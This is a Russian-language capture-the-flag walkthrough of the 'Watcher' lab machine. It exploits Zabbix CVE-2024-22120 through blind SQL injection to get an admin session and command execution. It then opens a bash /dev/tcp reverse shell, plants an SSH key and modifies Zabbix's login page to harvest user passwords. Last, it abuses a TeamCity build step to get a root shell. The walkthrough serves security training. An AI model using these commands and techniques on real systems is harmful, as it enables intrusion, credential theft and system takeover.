Задание "Watcher" начинается с сервера Zabbix. Воспользуемся уязвимостью CVE-2024-22120 (слепая SQL инъекция), чтобы украсть сессию администратора и получить удалённое выполнение команд (RCE). Затем зайдем как администратор и найдем пользователя, который входит каждый минуту, обновим исходный код PHP файла аутентификации таким образом, чтобы все учетные данные сохранялись в файл. Полученные учетные данные подойдут для локального TeamCity, куда мы сможем зайти как администратор и злоупотребить конвейером сборки для исполнения команд от имени суперпользователя (root).

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Разведка: первичное сканирование

Nmap обнаружил четыре открытых порта TCP: SSH (22), HTTP (80) и два порта, относящиеся к Zabbix (10050, 10051):

Исходя из версий OpenSSH и Apache, хост, вероятно, работает под управлением Ubuntu 22.04.

На веб-сервере есть переадресация на watcher.vl.

Значение TTL равное 63, соответствует нашему предположению про Linux.

Брутфорс субдоменов

Воспользуемся инструментом ffuf для перебора субдоменов watcher.vl:

oxdf@hacky$ ffuf -u http://10.129.214.16 -H "Host: FUZZ.watcher.vl" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

       v2.1.0-dev

________________________________________________

 :: Method           : GET

 :: URL              : http://10.129.214.16

 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt

 :: Header           : Host: FUZZ.watcher.vl

 :: Follow redirects : false

 :: Calibration      : true

 :: Timeout          : 10

 :: Threads          : 40

 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

________________________________________________

zabbix                  [Status: 200, Size: 3946, Words: 199, Lines: 33, Duration: 162ms]

:: Progress: [19966/19966] :: Job [1/1] :: 1408 req/sec :: Duration: [0:00:14] :: Errors: 0 ::

Один найден! Добавим его в /etc/hosts:

10.129.214.16   watcher.vl zabbix.watcher.vl

Сайт

Сайт связан с мониторингом доступности сервисов:

Отправка формы осуществляется через GET-запрос к корневому каталогу (/) с параметрами в строке URL, после чего страница перезагружается без каких-либо признаков обработки запроса.

Технологический стек

Заголовки HTTP-ответа не содержат ничего интересного:

Главная страница — index.html, что предполагает статичный сайт.

Страница с ошибкой 404 — стандартная страница Apache 404:

Воспользуемся feroxbuster, добавив параметр -x html, поскольку сайт использует статичные страницы:

Ничего полезного.

zabbix.watcher.vl - TCP 80

Страница авторизации Zabbix:

Так как у меня нет учетных данных, я воспользуюсь опцией «войти как гость»:

Zabbix — открытое программное обеспечение для мониторинга систем. После успешной авторизации нам доступна версия программы:

HTTP-заголовки содержат стандартную для Zabbix куку — zbx_session:

Страница с ошибкой 404 — всё ещё стандартная страница Apache 404:

Я пропущу этап перебора директорий, так как речь идет о хорошо известном ПО.

Shell от имени пользователя zabbix (CVE-2024-42327)

В используемой версии Zabbix есть уязвимость CVE-2024-42327, а также CVE-2024-22116:

CVE-2024-22116 — удаленное выполнение команд (RCE), однако только с правами администратора.

CVE-2024-42327 — SQL инъекция, позволяющая похищать API токен администратора, что ведет к выполнению произвольных команд (RCE). Однако эта атака сработает только тогда, когда пользователь получает API токен, чего не происходит при гостевом доступе.

Дополнительное исследование показало наличие CVE-2024-22120 — еще одна SQL инъекция в журнале аудита:

Сервер Zabbix способен запускать сконфигурированные скрипты. После выполнения команды запись добавляется в журнал аудита ("Audit Log"). Из-за отсутствия очистки поля "clientip" возможна SQL инъекция и эксплуатация time based blind SQL инъекции.

Эта уязвимость имеет потенциал для эксплуатации. Заявка на баг-трекере Zabbix утверждает, что данная проблема позволяет получить RCE, там же есть шаги по эксплуатации.

Proof-of-concept

Первым делом убедимся, что мы имеем доступ хотя бы к одному узлу. В разделе Monitoring –> Hosts видим одну запись:

Необходимо иметь возможность выполнять команды.

«Ping» работает (и показывает, что это тот же хост, на котором запущен Zabbix):

Необходимо извлечь значение «sessionid» из куки zbx_session. Оно закодировано в Base64:

oxdf@hacky$ echo eyJzZXNzaW9uaWQiOiI1MmU5NjcyZDM3NTM2YTM3MDBmNDcwY2Q4NmUxNmM1NiIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NTk1NzQ1MzksInNpZ24iOiIwOTJjZDc2ODJiNDIyNWM2MTEwZTIyZDRlYjE0NWFkZDgyNTc4Mzk3MTM4MDE3ZWE5ZWU2NjRkZjg3Y2I4OTllIn0= | base64 -d

{"sessionid":"52e9672d37536a3700f470cd86e16c56","serverCheckResult":true,"serverCheckTime":1759574539,"sign":"092cd7682b4225c6110e22d4eb145add82578397138017ea9ee664df87cb899e"}

Теперь, мне нужен валидный hostid, который я могу получить, посмотрев запросы в Burp, пока нахожусь на странице Monitoring –> Hosts (поскольку сайт постоянно отправляет запросы на обновление):

Я воспользуюсь uv для добавления необходимых метаданных (см. шпаргалку по uv https://0xdf.gitlab.io/cheatsheets/uv#):

oxdf@hacky$ uv add --script zabbix_server_time_based_blind_sqli.py pwntools

Updated zabbix_server_time_based_blind_sqli.py

Скрипт продемонстрирует идентификатор сессии администратора, состоящий из одних нулей, но если я буду наблюдать за этим в Wireshark, то увижу следующее:

Используется scriptid равный 3, однако этот пользователь не имеет прав на выполнение данного скрипта. Если посмотреть на запрос, отправляемый при клике на хост для отображения этого меню, мы увидим следующее:

Доступны только идентификаторы 1 и 2. Если обновить PoC, используя любой из них, то он сработает:

oxdf@hacky$ uv run --script zabbix_server_time_based_blind_sqli.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084 | grep "(+)"

(+) Extracting Zabbix config session key...

(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=2[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=3[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=4[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=5[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=6[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=7[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=8[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=a[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051

(+) session_key=b

(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051

...[snip]...

(+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051

(+) session_key=b9

...[snip]...

(+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051

(+) session_key=b9857bc76e26cf108766043dbf43544b

(+) config session_key=b9857bc76e26cf108766043dbf43544b

(+) Extracting admin session_id...

(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051

...[snip]...

(+) trying c=c[x] Opening connection to zabbix.watcher.vl on port 10051

(+) trying c=d[x] Opening connection to zabbix.watcher.vl on port 10051

(+) session_id=e29cc8d946f1a3135fe7ceec60d0ff0d

(+) admin session_id=e29cc8d946f1a3135fe7ceec60d0ff0d

(+) session_key=b9857bc76e26cf108766043dbf43544b, admin session_id=e29cc8d946f1a3135fe7ceec60d0ff0d. Now you can generate admin zbx_cookie and sign it with session_key

Очень медленно, но ключ успешно восстанавливается.

Выполнение произвольного кода (RCE)

Существует ещё один PoC, который выполняет аналогичный брутфорс, а затем преобразует его в RCE:

oxdf@hacky$ uv run --script CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084 

Installed 29 packages in 187ms

(!) sessionid=e29cc8d946f1a3135fe7ceec60d0ff0d1a3135fe7ceec60d0ff0d

[zabbix_cmd]>>:  id

uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)

Я внес необходимые изменения, чтобы не пришлось проводить брутфорс заново:

        parser.add_argument("--admin-sid", help="Admin session id already recovered")

        args = parser.parse_args()

        if args.admin_sid:

            admin_sessionid = args.admin_sid

        else:

            admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))

        RceExploit(args.ip, args.hostid, admin_sessionid,args.prefix)

Результат:

oxdf@hacky$ uv run --script CVE-2024-22120-RCE/CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --hostid 10084 --admin-sid e29cc8d946f1a3135fe7ceec60d0ff0d

[zabbix_cmd]>>:  id

uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)

Shell

Чтобы получить настоящий шелл, я передам  команду обратного подключения через bash:

[zabbix_cmd]>>:  bash -c 'bash -i >& /dev/tcp/10.10.15.1/443 0>&1'

Результат:

oxdf@hacky$ nc -lnvp 443

Listening on 0.0.0.0 443

Connection received on 10.129.214.16 58272

bash: cannot set terminal process group (7180): Inappropriate ioctl for device

bash: no job control in this shell

zabbix@watcher:/$

Прокачаем шелл, используя стандартный приём:

zabbix@watcher:/$ script /dev/null -c bash

Script started, output log file is '/dev/null'.

zabbix@watcher:/$ ^Z

[1]+  Stopped                 nc -lnvp 443

oxdf@hacky$ stty raw -echo; fg

nc -lnvp 443

            ‍reset

reset: unknown terminal type unknown

Terminal type? screen

zabbix@watcher:/$

И извлекаем файл user.txt из корня системы:

zabbix@watcher:/$ cat user.txt

380b4ab4************************

Шелл от имени root. Enumeration

Есть один пользователь (ubuntu), чей домашний каталог находится в /home:

zabbix@watcher:/home$ ls

ubuntu

zabbix@watcher:/home$ ls ubuntu/

ls: cannot open directory 'ubuntu/': Permission denied

zabbix@watcher:/$ cat /etc/passwd | grep 'sh$'

root:x:0:0:root:/root:/bin/bash

ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

Web Servers

Конфигурационный файл Apache демонстрирует наличие трёх серверов:

zabbix@watcher:/etc/apache2/sites-enabled$ ls

000-default.conf  watcher.vl.conf  zabbix.watcher.vl.conf

Они обрабатывают редирект на домен watcher.vl и обеспечивают доступ к сайту Zabbix. Основной веб-сайт расположен в каталоге /var/www/html и представляет собой простую HTML-страницу:

zabbix@watcher:/var/www/html$ ls

index.html

Zabbix DB

В директории /usr/share/zabbix/conf есть конфигурационные файлы Zabbix:

Видим информацию для подключении к базе данных, проверяем:

zabbix@watcher:/usr/share/zabbix/conf$ mysql -h localhost -u zabbix -puIy@YyshSuyW%0_puSqA

mysql: [Warning] Using a password on the command line interface can be insecure.

Welcome to the MySQL monitor.  Commands end with ; or \g.

Your MySQL connection id is 3339

Server version: 8.0.43-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective

owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;

+--------------------+

| Database           |

+--------------------+

| information_schema |

| performance_schema |

| zabbix             |

+--------------------+

3 rows in set (0.02 sec

В базе данных Zabbix имеется большое количество таблиц. Получим список пользователей:

Хэши можно прогнать через Hashcat, но они не поддаются подбору с использованием rockyou.txt.

TeamCity

Команда netstat показывает интересный открытый порт:

Порты 10050 и 10051 используются Zabbix. Однако порты 9090, 8111 и 8015 открыты только локально и выгзывают интерес. Проверив их, узнаем, что порт 8111 занят сервисом TeamCity:

Также на хосте запущены процессы TeamCity.

Для удобства поднимим SSH туннель. Создаем директорию .ssh в домашнем каталоге пользователя Zabbix и добавляем публичный ключ:

zabbix@watcher:/var/lib/zabbix$ mkdir .ssh

zabbix@watcher:/var/lib/zabbix$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > .ssh/authorized_keys

zabbix@watcher:/var/lib/zabbix$ chmod 700 .ssh/

zabbix@watcher:/var/lib/zabbix$ chmod 600 .ssh/authorized_keys 

Теперь я могу подключиться по SSH, но оболочка пользователя Zabbix в файле passwd установлена как /nologin:

$ ssh -i ~/keys/ed25519_gen zabbix@watcher.vl

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1039-aws x86_64)

...[snip]...

This account is currently not available.

Connection to watcher.vl closed.

Но создать туннель я могу:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen zabbix@watcher.vl -N -L 8111:localhost:8111

Процесс зависает, но при переходе по адресу http://localhost:8111 загружается интерфейс TeamCity:

Версия TeamCity — 2024.03.3. Без учетных данных тут нельзя ничего сделать.

Вход в Zabbix как администратор (CVE-2024-22120)

Возвращаемся обратно в графический интерфейс Zabbix с правами администратора. Эксплоит содержит скрипт для получения куки администратора:

oxdf@hacky$ uv add --script CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py requests pwntools

Updated CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py

oxdf@hacky$ uv run --script  CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py -h

Installed 29 packages in 158ms

usage: CVE-2024-22120-LoginAsAdmin.py [-h] [--false_time FALSE_TIME] [--true_time TRUE_TIME] [--ip IP] [--port PORT] [--sid SID] [--hostid HOSTID]

CVE-2024-22120-LoginAsAdmin

options:

  -h, --help            show this help message and exit

  --false_time FALSE_TIME

                        Time to sleep in case of wrong guess(make it smaller than true time, default=1)

  --true_time TRUE_TIME

                        Time to sleep in case of right guess(make it bigger than false time, default=10)

  --ip IP               Zabbix server IP

  --port PORT           Zabbix server port(default=10051)

  --sid SID             Session ID of low privileged user

  --hostid HOSTID       hostid of any host accessible to user with defined sid

В коде захардкожен прокси-сервер на порту 8083. Необходимо закомментировать данную строку, иначе произойдет сбой:

Эта действительно работает (но медленно):

oxdf@hacky$ uv run --script  CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084

(+) session_id=e

(+) session_id=e2

(+) session_id=e29

...[snip]...

(+) session_id=e29cc8d946f1a3135fe7ceec60d0ff0d

(+) session_key=b

...[snip]...

(+) session_key=b9857bc76e26cf108766043dbf43544b

try replace cookie with:

zbx_session=eyJzZXNzaW9uaWQiOiJlMjljYzhkOTQ2ZjFhMzEzNWZlN2NlZWM2MGQwZmYwZCIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NTk2NjA4MzEsInNpZ24iOiI0YTg3NzA4MmI2MDUwNGY1MjU1MDU3N2QxZjRlZTllMDM0ZDM1MWVlZDRlZDZmNjRkZjE2MGI2MTkzZWRiOTQxIn0=

Эта кука позволяет войти в систему как администратор.

Документация Zabbix описывает способ сброса пароля администратора до значения «zabbix» с помощью SQL-запроса:

UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';

Выполним:

mysql> UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';

Query OK, 1 row affected (0.01 sec)

Rows matched: 1  Changed: 1  Warnings: 0

Затем войдем:

Audit Logs

Просматривая журнал аудита, обратим внимание, что пользователь Frank регулярно входит в систему (каждую минуту):

Отравление процесса аутентификации Zabbix

Изучив историю запросов в Burp Proxy, обнаружим, что процесс входа осуществляется методом POST на адрес /index.php. Файл index.php находится в папке /usr/share/zabbix. Код обработки входа находится примерно на 70 строке:

zabbix@watcher:/usr/share/zabbix$ cat index.php | grep -n login

37:     'autologin' =>  [T_ZBX_INT, O_OPT, null,        null,   null],

57:$autologin = hasRequest('enter') ? getRequest('autologin', 0) : getRequest('autologin', 1);

70:// login via form

71:if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {

74:     if (CWebUser::$data['autologin'] != $autologin) {

77:                     'autologin' => $autologin

91:echo (new CView('general.login', [

92:     'http_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED)

95:     'saml_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED)

98:     'guest_login_url' => CWebUser::isGuestAllowed() ? (new CUrl())->setArgument('enter', ZBX_GUEST_USER) : '',

99:     'autologin' => $autologin == 1,

Самым простым способом модификации файла через обратный шелл является копирование всего текста и создание файла на машине атакующего. Добавим несколько строк:

Пользователи смогут входить как раньше, но их учетные данные будут записаны в файл /dev/shm/0xdf.txt. Теперь запускаем HTTP-сервер на Python и грузим измененный файл:

zabbix@watcher:/usr/share/zabbix$ cp index.php{,.bak}   

zabbix@watcher:/usr/share/zabbix$ curl 10.10.15.1/index.php -o index.php

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

                                 Dload  Upload   Total   Spent    Left  Speed

100  4692  100  4692    0     0  91465      0 --:--:-- --:--:-- --:--:-- 92000

Вскоре в /dev/shm появляется файл 0xdf.txt:

zabbix@watcher:/usr/share/zabbix$ cat /dev/shm/0xdf.txt 

Frank:R%)3S7^Hf4TBobb(gVVs

TeamCity

Учётные данные пользователя frank, полученные из Zabbix, здесь тоже работают!

TeamCity — это платформа непрерывной интеграции и доставки (CI/CD), и похоже, что у frank есть административные права доступа. Я могу создать сборку, которая исполнит нужный мне код. Жмем «Создать проект...». На следующей странице выбераем вариант «Вручную»:

Даем проекту название:

Следующая страница — общие настройки проекта, где выбираем пункт «Создать конфигурацию сборки»:

Назовем её и жмем «Создать»:

Выбираем пропустить, а на следующей странице перейдем в боковое меню к пункту «Этапы сборки» («Build Steps»):

Здесь есть кнопка для добавления этапа сборки («Add build step»):

На следующем экране выбираю пункт «Командная строка» («Command Line»):

Команда для получения обратного шелла:

На открывшейся странице видим созданный этап сборки:

Справа вверху есть кнопка «Выполнить» («Run»). Нажимаем ее и ждем выполнения команды:

Через минуту получем шелл с правами root:

oxdf@hacky$ nc -lnvp 443

Listening on 0.0.0.0 443

Connection received on 10.129.214.16 37982

bash: cannot set terminal process group (632): Inappropriate ioctl for device

bash: no job control in this shell

root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2#

И наконец, забираем root-флаг:

root@watcher:/root# cat root.txt

f7af28f2************************

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Комментарии (0)